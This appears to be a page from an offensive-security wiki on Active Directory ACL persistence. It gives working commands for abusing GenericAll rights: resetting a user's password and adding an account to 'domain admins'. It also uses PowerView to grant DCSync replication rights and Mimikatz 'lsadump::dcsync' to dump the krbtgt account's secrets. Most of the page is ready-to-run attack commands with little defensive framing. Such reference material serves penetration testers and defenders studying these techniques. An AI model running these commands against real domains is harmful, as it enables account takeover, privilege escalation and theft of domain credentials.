Physical attacks
Mobile Apps Pentesting
Pentesting

ACL Persistence

GenericAll

On User

If you have GenericAll permission in a user you change the password without knowing the actual one. Just do:

net user username newpassword /domain

On Group

If you have this permission over a group you can add a member to the group:

net group "domain admins" username /add /domain
Add-NetGroupUser -UserName username -GroupName "domain admins" -Domain "offense.local"

More info in: https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces

DCSync

The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.

Check who has these permissions using powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}

If you have a privilege user, you can grant this permissions to any user with the help of powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Then, you can check if the user was correctly assigned the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Exploit the permissions with Mimikatz:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'